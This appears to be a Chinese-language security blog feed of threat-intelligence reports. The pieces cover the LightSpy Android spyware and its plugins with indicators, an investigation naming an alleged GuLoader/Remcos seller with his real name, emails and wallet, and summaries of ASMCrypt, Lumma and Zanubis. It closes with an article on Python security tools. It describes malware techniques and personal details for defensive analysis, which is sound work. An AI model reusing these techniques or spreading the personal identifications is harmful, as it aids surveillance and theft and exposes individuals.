Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863109309

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

針對香港iOS用戶進行水坑攻擊的LightSpy惡意軟件,近日被發現嵌入在來自20台活躍服務器的安卓植入體Core(核心)及其14個相關插件當中,用於攻擊移動用戶。

LightSpy是一種移動高級持續性威脅(mAPT),它使用新穎的複雜技術來攻擊移動用戶。其中,這個惡意軟件已被證實出自黑客組織APT41之手。

最近的報告表明,該惡意軟件一直在使用微信支付系統訪問支付數據、監控私密通信,並執行各種惡意活動。

LightSpy APT攻擊微信用戶據多起報告顯示,LightSpy惡意軟件是一套功能齊全的模塊化監視工具集,被發現使用各種插件來洩露並竊取私密數據和支付數據。此外,該惡意軟件強烈關注受害者的私密信息。

其功能包括:利用後端基礎設施從微信支付中洩露支付數據,並從微信獲取音頻相關功能,以記錄受害者的VOIP對話內容。

然而,該惡意軟件不能作為一個獨立的應用程序來運行,因為它也是一個插件,該惡意軟件的核心負責執行整條攻擊鏈所需的所有功能。

核心功能包括設備指紋收集、控制服務器連接建立、從服務器檢索命令以及更新自身和額外的攻擊載荷文件(又叫作插件)。

LightSpy的14個插件該惡意軟件已添加了多個插件,包括soft list(軟列表)、baseinfo(基礎信息)、bill(賬單)、cameramodule(攝像頭模塊)、chatfile(聊天文件)、filemanager(文件管理器)、locationmodule(位置模塊)、locationBaidu(位置百度)、qq、shell、soundrecord(錄音)、telegram、wechat(微信)和wifi。

12112.jpg

信息來源: ThreatFabric

正如報告中提到,最重要的插件之一是位置模塊插件,它負責位置跟踪,可以發送當前位置的快照,也可以設置指定時間間隔的位置跟踪。這個插件基於兩個位置跟踪框架:騰訊位置SDK和百度位置SDK。

另一個重要的插件是Soundrecord(錄音)插件,它負責錄製音頻。這個插件還可以立即或在指定的時間間隔開始麥克風錄音。此外,這個插件還可以記錄來電通話內容。

Bill(賬單)插件是另一個重要的插件,它負責從微信支付收集受害者的支付歷史信息,這包括上一筆賬單的ID、賬單類型、交易ID、日期以及已支付處理的標誌。

22222.jpg

iOS命令和安卓命令之間的關係(來源:ThreatFabric)

基礎設施LightSpy基礎設施包含幾十個服務器,分佈在中國大陸、中國香港、中國台灣、新加坡和俄羅斯,由於一些服務器返回不同的命令和載荷,可以推測攻擊者為每次活動使用不同的IP地址或域。與此同時,由於一些服務器返回載荷(應該是在2018年編譯的),可以假設攻擊者可以在幾個攻擊活動中重複使用同一套基礎設施。另一個關於長壽命服務器的假設是,安全行業人士常常不會發現/披露這些服務器,因此不需要更改IP地址。

在分析LightSpy基礎設施時,我們發現了兩個值得注意的時刻:

LightSpy與AndroidControl(WyrmSpy)的聯繫

我們獲取了硬編碼到核心中的IP地址,與Lookout報告中披露的IP地址是同一個。

1.png

圖1

結果是35900端口已關閉,主機沒有響應LightSpy請求。同時,有幾個開放的端口提供https服務。

端口11090對應的https服務器使用過期證書加以保護,SHA256指紋為f0fc2c418e012e034a170964c0d68fee2c0efe424a90b0f4c4cd5e13d1e36824,還有另外兩台主機使用相同的服務和相同的證書。兩台主機都打開了端口443,服務於一個名為AndroidControl v1.0.4的管理面板。

2.png

圖2

有第三台主機具有相同的收藏夾圖標(MD5散列542974b44d9c9797bcbc9d9218d9aee5),它託管相同的面板。這個主機上的面板錯誤配置,暴露了應該用於前後端之間通信的後端端點:

3.png

圖3

第一個值得關注的點是“控制”端點,這種端點位於Lookout報告的WyrmSpy樣本中。

為了確認這三個主機與WyrmSpy有關,我們做了一個簡單的請求雙“控制”端點,看到了相同的結果:

4.png

圖4

在WyrmSpy的代碼中,我們可以看到它等待對含有字段“suc”的請求進行響應:

5.png

圖5

因此,這三個主機都是WyrmSpy的活躍C2,或者正如攻擊者所命名的AndroidControl或androidRat。

由於面板在處於調試模式的Django中,它暴露了一些內部信息,比如一個內部文件夾(整個前端和後端文件存儲在服務器中),以及另一個IP地址47.115.7[.]112:

6.png

圖6

LightSpy面板其中一台C2服務53601端口,該服務含有Admin面板:

7.png

圖7

面板在VUEJS中,除了面板結構外,我們在底層沒有發現任何值得注意的痕跡。 VUEJS節點的功能仍然不清楚。

8.png

圖8

一篇關於LightSpy的完整報告已經由ThreatFabric發布(詳見https://www.threatfabric.com/blogs/lightspy-mapt-mobile-payment-system-attack),提供了有關威脅途徑、源代碼、分析及其他信息的詳細信息。

攻陷指標控制服務器:域

spaceskd[.]com

IP

103.27.108[.]207

46.17.43[.]74

文件哈希:第二階段載荷(smallmload .jar)

SHA256

407abddf78d0b802dd0b8e733aee3eb2a51f7ae116ae9428d554313f12108a4c

bd6ec04d41a5da66d23533e586c939eece483e9b105bd378053e6073df50ba99

核心SHA256

版本

68252b005bbd70e30f3bb4ca816ed09b87778b5ba1207de0abe41c24ce644541

6.5.24

5f93a19988cd87775ad0822a35da98d1abcc36142fd63f140d488b30045bdc00

6.5.24

bdcc5fc529e12ecb465088b0a975bd3a97c29791b4e55ee3023fa4f6db1669dc

6.5.25

9da5c381c28e0b2c0c0ff9a6ffcd9208f060537c3b6c1a086abe2903e85f6fdd

6.2.1

a01896bf0c39189bdb24f64a50a9c608039a50b068a41ebf2d49868cc709cdd3

6.5.19

77f0fc4271b1b9a42cd6949d3a6060d912b6b53266e9af96581a2e78d7beb87b

6.2.0

d640ad3e0a224536e58d771fe907a37be1a90ad26bf0dc77d7df86d7a6f7ca0e

6.2.1

3849adc161d699edaca161d5b6335dfb7e5005056679907618d5e74b9f78792f

6.2.6

2282c6caef2dd5accc1166615684ef2345cf7615fe27bea97944445ac48d5ce4

5.2.1

插件插件名稱

SHA256

softlist

7d17cdc012f3c2067330fb200811a7a300359c2ad89cdcf1092491fbf5a5a112

baseinfo

cc6a95d3e01312ca57304dc8cd966d461ef3195aab30c325bee8e5b39b78ae89

bill

c6ccd599c6122b894839e12d080062de0fa59c4cd854b255e088d22e11433ef6

cameramodule

bace120bf24d8c6cfbb2c8bfeed1365112297740e2a71a02ea2877f5ffc6b325

chatfile

7d8a08af719f87425d1643d59979d4a3ef86a5fc81d1f06cfa2fd8c18aeb766b

filemanager

e5bdeedac2c5a3e53c1fdc07d652c5d7c9b346bcf86fc7184c88603ff2180546

locationmodule

bf338e548c26f3001f8ad2739e2978586f757777f902e5c4ab471467fd6d1c04

locationBaidu

177e52c37a4ff83cd2e5a24ff87870b3e82911436a33290135f49356b8ee0eb1

qq

f32fa0db00388ce4fed4e829b17e0b06ae63dc0d0fac3f457b0f4915608ac3b5

shell

e1152fe2c3f4573f9b27ca6da4c72ee84029b437747ef3091faa5a4a4b9296be

soundrecord

c0c7b902a30e5a3a788f3ba85217250735aaaf125a152a32ee603469e2dfb39e

telegram

71d676480ec51c7e09d9c0f2accb1bdce34e16e929625c2c8a0483b9629a1486

wechat

bcb31d308ba9d6a8dbaf8b538cee4085d3ef37c5cb19bf7e7bed3728cb132ec1

wifi

446506fa7f7dc66568af4ab03e273ff25ee1dc59d0440086c1075d030fe72b11

微信截图_20230930000731.png

GuLoader和Remcos關係大揭秘(上)

來自VgoStore的GuLoader及其與CloudEyE的關聯研究人員在2023年看到的樣本,是否真的是在2020年發現的與CloudEyE有關的GuLoader嗎?

事實上,GuLoader現在看起來真的不一樣了。該執行不像2020年在GuLoader中那樣涉及VB6應用程序,現在它以VBS腳本或NSIS可執行文件的形式傳播。 2020和2023版本唯一的共同點是GuLoader核心功能:加密shellcode,然而,這一部分也發生了重大變化。正如研究人員在上一篇文章中所描述的,GuLoader的開發人員使用了新的模糊處理技術,這些技術掩蓋了真實的執行流,並使自動反彙編工具和調試器無法分析代碼,新版本還使用算術運算實現了數據模糊處理。

然而,研究人員仍然設法在代碼中找到了相似之處,在下面的屏幕截圖中,您可以看到這兩個版本都使用了反調試技巧:修補DbgUiRemoteBreakIn和DbgBreakPoint函數。儘管由於新版本中的混淆,程序集代碼非常不同,但在2020年和2023年的GuLoader版本中,相同的字節用於覆蓋研究人員在卸載代碼後可以看到的函數的代碼。

29.png

2020年和2023年GuLoader版本的代碼相似性

一般來說,關於反分析技術,兩個版本的列表非常相似。很明顯,反分析技術的數量隨著每個新版本的發布而增加。

此外,所有版本的shellcode都使用大型結構來存儲shellcode執行的各個階段可能需要的全局變量,該結構的基址存儲在EBP寄存器中。此結構中各種變量的偏移量在不同版本之間發生了變化,而其他偏移量保持不變。

研究人員最近在2023年分析的樣本(MD5:40b9ca22013d02303d49d8f922ac2739)和2020年的舊樣本(MD5:d621b39ec6294c998580cc21f33b2f46)中得出:

30.png

2023年和2020(CloudEyE)的GuLoader的全局結構中API函數指針的相同偏移量

在這兩個樣本中,存儲許多API函數地址的變量的偏移量是相同的。

研究人員還發現了GuLoader的中間版本可供研究人員使用,他們在2021年和2022年確定了這些樣本。讓我們比較一下研究人員從2021年首次看到的樣本中提取的解密例程代碼(MD5:abf39daaa33505f26959db465116f21f)與上一個樣本中的2023 GuLoader樣本中的例程(MD5:40b9ca22013d02303d49d8f922ac2739)。由於混淆,這些函數中的彙編代碼略有不同,然而,如果研究人員使用反編譯器,他們會得到兩個樣本相同的結果。

31.png

2021年和2023年的GuLoader版本中相同的反編譯代碼

由於類似的行為和代碼模式,研究人員的惡意軟件自動分類和配置提取工具將這些樣本識別為GuLoader。

32.png

2021年、2022年和2023年的樣本被確定為GuLoader

研究人員使用自動分析處理了6000多個GuLoader樣本,這些樣本按首次看到的日期排序,並識別了不同版本的GuLoader,這也使研究人員能夠構建GuLoadershellcode版本的時間表。在下表中,研究人員標記了數據加密和模糊處理算法發生重大變化的版本的字符串,包括用於下載有效負載的URL,以及有效負載解密密鑰:

33.png

不同GuLoader shellcode版本出現的時間

該圖表顯示,對於GuLoader shellcode的每個新版本,舊版本的樣本數量都大大減少。以上列出的所有事實使研究人員確信,GuLoader的新版本,包括VgoStore演示的樣本,仍然是研究人員在2020年展示的與CloudEyE和Securitycode.eu相關的惡意軟件。

BreakingSecurity和VgoStore的幕後黑手如上所述,暱稱為“EMINэM”的用戶是BreakinSecurity.net官方Telegram群組的負責人:

34.png

“EMINэM”Telegram用戶詳細信息

研究人員可以在“EMINэM”發布的視頻中看到非常具體的製品,其中包括桌面“This PC”和文件夾“EM1NeM”的自定義圖標:

35.png

EMINэM的桌面工件

研究人員可以用這些來識別“EMINэM”創建的視頻。

現在讓回到@VgoStore_Group群,在該群的管理員中,可以看到兩個用戶:“EMINэM”(自定義標題為“Trusted Vendor”)和VGO (@VgoStore):

36.png

VgoStore Telegram群管理員

VGO和“EMINэM”偽裝成不同的用戶,研究人員甚至可以在這個組中找到他們之間的“對話”:

37.png

VGO與“EMINэM”之間的“對話”

然而,如果研究人員仔細觀看用戶VGO發布的視頻,研究人員會注意到用戶“EMINэM”發布的相同的偽裝對象:

38.png

“EMINэM”在VGO發布的視頻中的桌面

關於本視頻中“EMINэM”桌面的工件,研究人員注意到一個細節。他們看到用戶通過WinSCP連接到遠程主機,並打開文件夾“/var/www/html/zarath”,研究人員在主機“194.180.48.211”上發現了一個同名的打開目錄,這是研究人員在分析用戶VGO演示TheProtect的VBS變體的視頻時發現的,研究人員將其識別為GuLoader。

基於此,研究人員可以假設BreakingSecurity和VgoStore Telegram群都由同一個人控制,並且他還擁有兩個帳戶:“EMINэM”和VGO。

接下來,研究人員嘗試在Google上搜索“VgoStore”,發現用戶“VgoStore”在“wordpress.org”網站論壇上尋求WordPress插件的幫助。在對話期間,用戶發布了屬於YouTube用戶“EMINe M”(@BreakingSecurity)的兩個未列出的YouTube視頻的鏈接:

39.png

“EMINэM”在“wordpress.org”網站論壇上發布的未列出的YouTube視頻

在視頻“2023 01 26 15 18 16”(https://www.youtube.com/watch?v=L8yB_xybTPs)的開頭,研究人員看到了視頻中“EMINэM”的桌面上的熟悉的真人快打壁紙。研究人員還可以看到遠程桌面的IP地址“173.212.217.108”,“EMINэM”通過它訪問虛擬主機面板和電子郵件“abudllah.alshamsy(at)gmail[.]com”:

40.png

通過遠程桌面由“EMINэM”管理的服務器的IP地址

在第二個視頻(“2023 01 26 20 02 07”,https://www.youtube.com/watch?v=KHp07C3DgWo)中,研究人員觀察到VgoStore WordPress管理面板,BreakingSecurity和VgoStore的“訂單”選項卡同時打開:

41.png

BreakingSecurity和VgoStore的“訂單”選項卡在“EMINэM”的視頻中同時打開

儘管試圖隱瞞與VgoStore的任何直接聯繫,但可以發現“EMINэM”原來是BreakingSecurity和VgoStore網站以及Telegram群的管理員。

EMINэM的身份“EMINэM”在WordPress論壇上發布的一個視頻(“2023 01 26 15 18 16”,https://www.youtube.com/watch?v=L8yB_xybTPs)相當長。 “EMINэM”在不同的窗口之間反复切換,其中一些幀顯示了有助於研究人員調查的敏感數據。

“EMINэM”使用“Rabea Akram”假名通過電子郵件(expert.eminem@gmail[.]com)與網站通信:

42.png

“EMINэM” 使用假名管理的相關網站

在10:36處,研究人員可以看到“EMINэM”以“Shadi Gharz Elddin”的名義預訂了航班:

43.png

“EMINэM”在航班預訂確認電子郵件中的真實姓名

研究人員很容易就找到了Shadi Gharz的Facebook和Twitter賬戶,他在這些賬戶上公開寫道,他的工作地點是BreakingSecurity:

44.png

Shadi Gharz的社交網絡頁面

知道“EMINэM”的真名是Shadi後,就可以假設選擇“EMINэM”這個暱稱的來源很可能是藝術家Eminem的歌曲“the real Slim Shady”。

由“EMINэM”進行的惡意活動除了前面提到的樣本(SHA256:63559daa72c778e9657ca53e2a72deb541cdec3e0d36ecf04d15ddbf3786aea8, c914dab00f2b1d63c50eb217eeb29bcd5fe20b4e61538b0d9d052ff1b746fd73)之外,研究人員發現“EMINэM” 在過去幾年中策劃許多攻擊。

1. 在Eminem於2021年發布的一段視頻https://youtu.be/5xpYjLbDpnE?t=84中,在1:24處,研究人員看到了瀏覽器的歷史記錄:

45.png

“EMINэM”的瀏覽器歷史記錄包含Formbook CC服務器的地址

上面的列表包含用於控制木馬和檢索被盜數據的Formbook信息竊取面板的地址。以下是使用給定地址的CC服務器的Formbook樣本列表:

46.png

2. 在“EMINэM”發布的不同視頻中,研究人員注意到他通過RDP或SFTP管理的服務器的幾個IP地址。

研究人員能夠下載前面提到的打開目錄“hxxp://194.180.48.211/zarath/”的當前內容:

47.png

“194.180.48.211/zarath/”的內容

研究人員發現這個文件夾中的一部分文件是GuLoader加密的shellcode,其餘的是加密的有效負載,其中大多數是Remcos。雖然開發人員可能會聲稱Remcos和GuLoader (CloudEyE, TheProtect)是合法軟件,但研究人員也在這個文件夾中發現了兩個真正的惡意有效負載,研究人員將其識別為Amadey Loader,以及相應的加載和解密這些有效負載的GuLoader shellcode:

48.png

3.在2022年4月19日“EMINэM”在@BreakingSecurity_Group群中發布的視頻中,研究人員看到他如何以root用戶(這意味著他是該服務器的所有者)連接到名為“CaliPB”的遠程服務器,IP地址為“38.242.193.23”:

49.png

“EMINэM”以root用戶身份使用WinSCP連接到他的服務器

在下一個截圖中,研究人員可以通過web訪問“/var/www/html”文件夾的內容,並註意到一個名為“private”的子文件夾:

50.png

“EMINэM”服務器上文件夾' /var/www/html '的內容

不幸的是,無法檢索“私有”文件夾的內容,然而,研究人員仍然能夠使用VirusTotal找到相關的樣本。研究人員分析了之前從主機“38.242.193.23”下載的樣本。其中,研究人員找到了GuLoader和Remcos:

51.png

在這個表中,研究人員再次看到之前與“EMINэM”連接的IP地址“194.180.48.211”和“173.212.217.108”,但是現在研究人員看到新的IP地址“185.217.1.137”被用作Remcos的CC服務器。該IP地址屬於提供端口轉發服務的nVPN,可能是“EMINэM”用來隱藏其Remcos CC服務器的真實IP地址。研究人員的假設得到了以下事實的證實,在其中一個視頻中,研究人員在“EMINэM”的郵箱中看到一封來自nVPN的信:

52.png

“EMINэM”收到的nVpn.net確認電子郵件

研究人員還發現了一個域名“vrezvrez.com”,該域名在錄製視頻期間被解析為IP地址“38.242.193.23”,另外還發現了5個4.1版本的Formbook樣本,它們的CC服務器URL為“vrezvrez.com/private/”:

53.png

因此,證據顯示,Eminem不僅參與了Remcos和GuLoader的攻擊,還使用了Formbook和Amadey Loader等知名惡意軟件。

收入分析研究人員在WordPress論壇上發現的由“EMINэM”上傳的未列出的YouTube視頻“2023 01 26 15 18 16”包含了更多有助於研究人員調查的數據。研究人員在5:41處看到“EMINэM”的Gmail帳戶的收件箱,研究人員注意到了來自tochkaobmena.com服務的郵件。在視頻中可以從電子郵件中恢復鏈接:

https://tochkaobmena.com/hst_FhaMv1rUzBTMfXlgR71vRjafr47K0wQyjuF/

54.png

數字貨幣兌換確認包含一個URL

點擊鏈接,就可以找到了包含數字資產交換操作結果的頁面(Perfect Money USD-Tron USDT),其中包含Tron區塊鏈錢包地址:TLqC6F4AVs8MrdiQDgRuFcW2Xp3iY3hg2D,研究人員分析了交易記錄,併計算了該賬戶在過去一年天內收到的近6萬美元收入。

很明顯,BreakingSecurity和VgoStore只有部分資金是通過這個錢包流動的,詳細觀看視頻後,研究人員可以更好地了解VgoStore的收入。在5:06處,我們看到WordPress管理頁麵包含WooCommerce插件的報告:

55.png

WordPress管理頁面顯示銷售統計數據

15000美元可被視為VgoStore網站上Remcos和其他服務銷售的月收入估計。

總結Remcos和GuLoader等工具曾經只在黑客論壇上出售,現在卻偽裝成合法產品公開,這種工具現在很容易獲得,在懷有惡意的個人中很受歡迎。

調查結果顯示,一個化名為EMINэM的個人管理著BreakingSecurity和VgoStore網站,這些網站以新名稱TheProtect公開出售Remcos和GuLoader。研究人員還發現了EMINэM參與惡意軟件傳播的證據,包括臭名昭著的Formbook信息竊取程序和Amadey Loader,與此同時,EMINэM利用TheProtect繞過殺毒軟件的能力,將其用於自己的惡意目的。

根據這些發現,很明顯,BreakingSecurity、VgoStore及其產品所宣傳的合法性只不過是煙幕彈,這些服務背後的個人與網絡犯罪社區緊密相連,利用他們的平台為非法活動提供便利,並從銷售充滿惡意軟件的工具中獲利。

sl_monster_head_code_abstract-1200x600.jpg只要攻擊者想賺錢,他們就會不斷開發惡意程序,只要他們不斷開發惡意程序,研究人員就會不斷分析。例如,研究人員發布了一份關於在地下論壇上發現的新惡意程序的報告,研究人員稱之為ASMCrypt,它與DoubleFinger加載程序有關。

但攻擊事件層出不窮,研究人員發布了關於新版Lumma竊取程序和Zanubis Android銀行木馬的報告。 Lumma通過從受感染的設備和已安裝的應用程序中收集敏感信息,LummaC2 是輕量級的,大小僅為150-200 KB,可以感染從Windows 7 到Windows 11 的所有操作系統。

LummaC2 惡意程序能夠從用戶的計算機收集密碼、信用卡號、銀行賬戶和其他個人信息。它還可以訪問存儲在Web 瀏覽器(例如Chrome 和Firefox)中的數據,此外,LummaC2 可以在用戶不知情的情況下截取用戶的桌面或活動窗口,這使攻擊者能夠訪問可用於經濟利益或身份盜用的敏感數據。

Zanubis 木馬是一種針對Android 設備的惡意程序,屬於銀行木馬,這是一種旨在盜取銀行憑證的程序。之後,攻擊者可以訪問被攻擊的賬戶並將受害者的資金轉移到他們自己的賬戶中, 與大多數銀行木馬一樣,Zanubis 也利用Android 無障礙服務來執行其操作。

這一合法的Android 功能旨在幫助殘障用戶更輕鬆、更充實地操作他們的智能設備, 此外,Zanubis 還會收集各種設備詳細信息,包括製造商、設備型號、已安裝應用程序列表、受害者的聯繫人列表、指紋等。另外,它還可以獲得電池權限,以避免在用戶激活任何電池優化過程時被強制進入“睡眠”模式。 Zanubis 的運營商還可以向受害者發送SMS 消息或顯示選定的通知,他們甚至可能刪除特定應用程序或鎖定受感染設備的屏幕。

ASMCrypt研究人員監控著許多地下論壇,在其中一個網站上,他們看到了一則廣告,上面正在宣傳一種名為ASMCrypt的新密碼/加載程序變體。這種類型的惡意程序背後的想法是,在沒有加載過程或有效負載本身被AV/EDR等檢測到的情況下加載最終有效負載。這聽起來很像之前介紹的DoubleFinger加載程序。

事實上,經過仔細分析,研究人員高度相信ASMCrypt是DoubleFinger的迭代版。然而,ASMCrypt的工作方式略有不同,它更像是運行在TOR網絡上的實際服務的“前台”。

那麼它是如何工作的呢?首先,購買者獲得ASMCrypt二進製文件,該二進製文件通過TOR網絡使用硬編碼憑據連接到惡意程序的後端服務。如果一切正常,將顯示選項菜單:

1.png

買方可以從以下選項中進行選擇:

隱形或隱形注射方式;

有效負載應注入的進程;

用於啟動持久性的文件夾名稱;

Stub類型:要么是偽裝成Apple QuickTime的惡意程序本身,要么是側加載惡意DLL的合法應用程序。

選擇所有所需選項並按下構建按鈕後,應用程序將創建一個隱藏在.png文件中的加密blob,此圖像必須上傳到圖像託管網站。最後一點提到的惡意DLL或二進製文件也會被創建並被傳播。

當惡意DLL在受害系統上執行時,它會下載.png文件,對其進行解密,將其加載到內存中,然後執行。

LummaArkei竊取程序是用c++編寫的,於2018年5月首次出現,在過去幾年中已經多次被迭代或重新命名。它曾被稱為Vidar, Oski, Mars和現在的Lumma,與Arkei有46%的重疊。隨著時間的推移,所有變體的主要功能均保持不變,從加密錢包竊取緩存文件、配置文件和日誌,它可以通過充當瀏覽器插件來實現這一點,但它也支持獨立的Binance應用程序。

但首先是感染媒介。 Lumma是通過一個模仿合法.docx到.pdf網站的偽造網站傳播的。上傳文件時,返回的文件擴展名為.pdf.exe。

Lumma於2022年8月首次被發現,當時研究人員是在新檢測到的樣本中被發現的。大約在同一時間,網絡安全愛好者Fumik0_tweeted發現,Lumma是Mars的“迭代/重構”。從那時起,Lumma經歷了許多變化。

截至目前,研究人員只發現一個樣本(MD5 6b4c224c16e852bdc7ed2001597cde9d)具有收集系統進程列表的功能,同一個樣本還使用了不同的URL與C2通信(/winsock而不是/socket.php)。

研究人員還發現了一個樣本(MD5 844ab1b8a2db0242a20a6f3bbeedf6 b),它似乎是一個調試版本,當到達某些代碼片段時,將向C2發送一個通知。同樣,它使用了一個不同的URL(/wwindg)。

在最近的一個樣本(MD5 a09daf5791d8fd4b5843cd38ae37cf97)中,攻擊者將User-Agent字段更改為“HTTP/1.1”。目前尚不清楚為什麼要這樣做。

儘管之前的所有樣本(包括上面提到的三個樣本),都從C2下載了用於32位系統的附加庫,以便可以解析特定的瀏覽器相關文件(例如密碼等),但MD5 5ac51312dfd99bf4e88be482f734c79只需將整個數據庫上傳到C2。

MD5 d1f506b59908e3389c83a3a8e8da3276具有字符串加密算法。它們現在被十六進制編碼並使用異或密鑰(字符串的前4個字節)加密。

研究人員看到的最大變化之一涉及MD5 c2a9151e0e9f417e555cf90300b45c9,此樣本支持從C2檢索的動態配置文件。此配置是Base64編碼的,並與配置文件的前32個字節進行異或。

2.png

“debugging”樣本的代碼段

ZanubisZanubis是一個Android銀行木馬,最早出現在2022年8月左右,目標是秘魯的金融機構和加密貨幣交易所用戶。 Zanubis的主要感染途徑是通過模仿合法的秘魯Android應用程序,然後欺騙用戶啟用可訪問性權限,從而完全控制設備。

研究人員在2023年4月左右在野外發現了很多Zanubis樣本,該惡意程序偽裝成秘魯政府組織SUNAT的官方Android應用程序。研究人員探索了惡意程序的新設計和功能,它似乎經歷了幾個階段的演變,達到了一個新的複雜程度。

Zanubis是在Obfuscapk的幫助下進行混淆的,Obfuscapk是一個流行的Android APK文件混淆處理程序。在受害者授予惡意應用程序訪問權限後,就可以允許其在後台運行。惡意程序使用WebView加載用於查找債務的合法SUNAT網站,這裡的目的是讓毫無戒心的用戶相信該應用程序是SUNAT服務生態系統的一部分。

與C2的通信依賴於WebSockets和稱為Socket.IO的庫,後者允許惡意程序建立到C2的持久連接,這提供了故障轉移選項(從WebSockets到HTTP,反之亦然)。另一個優點是,它為C2提供了一個可擴展的環境,如果需要,Zanubis的所有新感染都可以大規模地從C2接收命令(也稱為事件)。一旦惡意程序啟動,植入程序就會調用一個函數來檢查與C2的連接,它建立到同一C2服務器的兩個連接,但它們執行不同類型的操作,並且只有在C2請求時才建立第二個連接。

Zanubis沒有使用預先填充和硬編碼的目標應用程序列表。近年來,惡意程序開發人員傾向於在目標列表中添加或刪除應用程序的名稱,為了在植入程序上設置目標應用程序,C2發送事件config_packages。隨事件一起發送的JSON對象包含一個數組,該數組指定惡意程序應監控的應用程序,每當屏幕上發生事件時,惡意程序就會解析目標應用程序的列表,例如惡意程序使用onAccessibilityEvent函數檢測到的應用程序打開。一旦發現列表上的應用程序在設備上運行,Zanubis就會根據其配置採取兩種操作來竊取受害者的信息:記錄事件/密鑰,或錄屏。

之前,研究人員提到初始化來自受感染設備的第二個連接,這為C2提供了更多選項。 Zanubis建立這個新連接後,它會向服務器發送一個VncInit事件,通知它第二個功能集的初始化已經完成,並且它會每秒發送關於屏幕渲染的信息,例如顯示大小。研究人員可以假設這是運營商控製或後門感染手機的一種方式。

第二個集合中一個有趣的功能是bloqueoUpdate事件。這是惡意程序採取的最具攻擊性和說服力的行動之一,它假裝是Android更新,從而阻止手機被使用,隨著“更新”的運行,手機仍然無法使用,以至於無法鎖定或解鎖,因為惡意程序會監控並阻止這些嘗試。

3.png

虛假更新將用戶鎖定在手機之外

根據研究人員的分析,目標申請是秘魯的銀行和金融實體。另外,根據研究人員的監測數據,他們確定Zanubis專門針對該國的用戶,目標應用程序列表包含40多個程序包名稱。截止目前,收集的Zanubis樣本能夠感染任何Android手機,但它們都是以西班牙語作為系統語言編寫的。

總結惡意程序在不斷發展,Lumma竊取程序就是一個例子,它有多種功能各異的變體。

Zanubis目標是成為一個功能齊全的銀行木馬,可以造成經濟損失並竊取移動用戶的個人數據,惡意代碼和攻擊者TTP的不斷變化對防禦團隊來說是一個挑戰。

確保軟件產品的安全性對於大多數企業來說都是一個挑戰。公司不斷尋找能夠有效滿足其網絡安全需求的技術。一種選擇是使用Python 和基於Python 的工具。

本文對於正在尋找通過自動化安全測試和分析來保護軟件並提高網絡安全策略效率的產品所有者和首席技術官來說非常有用。

如何使用Python 工具實現網絡安全Python是一種高級解釋性編程語言,以其簡單性和可讀性而聞名。由於Python 的可移植性、快速腳本創建、多功能性和簡潔的代碼設計原則,您可以找到大量用Python 編寫的庫。

自動化是Python 網絡安全工具提供的最大優勢之一。 Python 使開發人員能夠專注於復雜問題、簡化網絡安全並提高整體軟件安全性。

通常,開發人員和安全專家以自動化腳本的形式將Python 網絡安全工具集成到他們的產品中。 Python 提供了大量包含現成模塊的庫、包和框架。這些允許開發人員為任何現有解決方案創建高效且快速的腳本,無論核心編程語言如何。自動化腳本是將Python 網絡安全工具集成到軟件產品中的最常見方法。

如果您想增強現有軟件的安全性,可以將用於網絡安全的Python 腳本與以下技術之一集成:

image.png

使用互操作性庫。 Python 提供了各種庫,允許您從其他語言(包括C/C++、Java 和.NET)編寫的現有軟件中調用函數或方法。這些庫彌合了語言和框架之間的差距,將腳本和您的軟件綁定在一起。例如,Cython允許Python 和C 代碼之間的通信。

構建API。應用程序編程接口(API) 是連接兩個不同軟件並實現數據交換的通用方法。要將Python 腳本連接到現有軟件,您可以使用Flask、Django REST 或FastAPI 等框架。

包裝現有代碼。這種方法需要圍繞現有代碼創建Python 包裝器,並為Python 提供與軟件功能交互的接口。

使用消息傳遞或數據交換。使用此方法,您可以在代碼和Python 腳本之間創建通信通道。為此,您可以通過ZeroMQ等庫使用進程間通信或消息隊列。這使您的代碼保持清晰、模塊化和可擴展。

腳本自動化已集成到大多數與網絡安全相關的Python 工具中,這允許開發人員自定義腳本並使用最少的代碼來創建它們。

儘管Python 擁有大量的庫和工具,但您自己弄清楚它們可能具有挑戰性。在Apriorit,我們不斷使用Python 來執行網絡安全任務,並擁有經過時間驗證的Python 庫、框架、包和工具的工具包。在接下來的兩節中,我們將分享一些基於實踐的Python 工具建議,這些工具可以幫助提高產品的網絡安全性。

我們將網絡安全活動分為兩大類:

安全測試

安全分析

這兩項活動對於維護軟件產品的強大安全性至關重要。您可以找到許多有效的Python 工具來涵蓋這些網絡安全任務並幫助您評估軟件的每個部分。讓我們探索Python 語言在網絡安全中的用途以及它為每項任務提供的工具。

使用Python工具進行安全測試安全測試允許您評估您的軟件並識別漏洞、弱點和潛在的安全威脅。在安全測試期間,網絡安全專家會運行測試和攻擊模擬,以確定軟件抵禦安全攻擊和保護敏感數據的能力。定期進行安全測試對於確保您的軟件免受黑客攻擊至關重要。

以下是您可以使用Python 工具完成的主要網絡安全測試任務:

image.png

讓我們詳細討論關鍵的安全測試任務,並探討基於Python 的工具如何幫助您發現和消除系統中的安全漏洞。

滲透測試滲透測試模擬現實世界的攻擊並分析網絡、系統和應用程序如何響應。此過程允許網絡安全專家評估風險、識別漏洞並提供安全改進建議。

Apriotit 的滲透測試團隊在網絡安全活動中使用Python,例如有效負載生成和利用、用於識別安全漏洞的Web 應用程序測試、密碼安全評估以及用於網絡分析的數據包嗅探和TCP 數據包注入。這些活動有助於主動識別和解決安全漏洞,從而保護組織的聲譽。

如果您正在尋找滲透測試工具,有許多基於Python 的庫和工具可以自動化此過程,包括:

PyMetasploit— 一個庫,允許滲透測試人員在Python 中編寫和自動化Metasploit腳本,以識別漏洞、執行攻擊和逃避檢測

Python Nmap- 一個庫,可幫助您的滲透測試團隊使用Nmap 端口掃描器,使他們能夠識別網絡上的活動主機並將其用於滲透測試活動

PyCrypto— 一個用於加密、解密、散列和密鑰管理的包,滲透測試人員可以用它來測試加密實現和分析漏洞

Matplotlib— 一種數據可視化和分析工具,可幫助您創建報告和可視化數據,以便在完成滲透測試活動後創建可行的計劃

漏洞掃描漏洞掃描是搜索軟件、網絡或系統中的弱點和缺陷的系統過程。它允許企業保護其數據和資產、遵守法規並主動防止違規。通常,漏洞識別的結果隨後會用於滲透測試,我們將在下一節中討論。

為了有效識別漏洞,不給攻擊者留下可乘之機,Apriorit 的安全專家定期進行安全審計、靜態分析、代碼審查等。

Python 有許多工具和庫可以幫助您構建用於定期漏洞掃描的自動化腳本,包括:

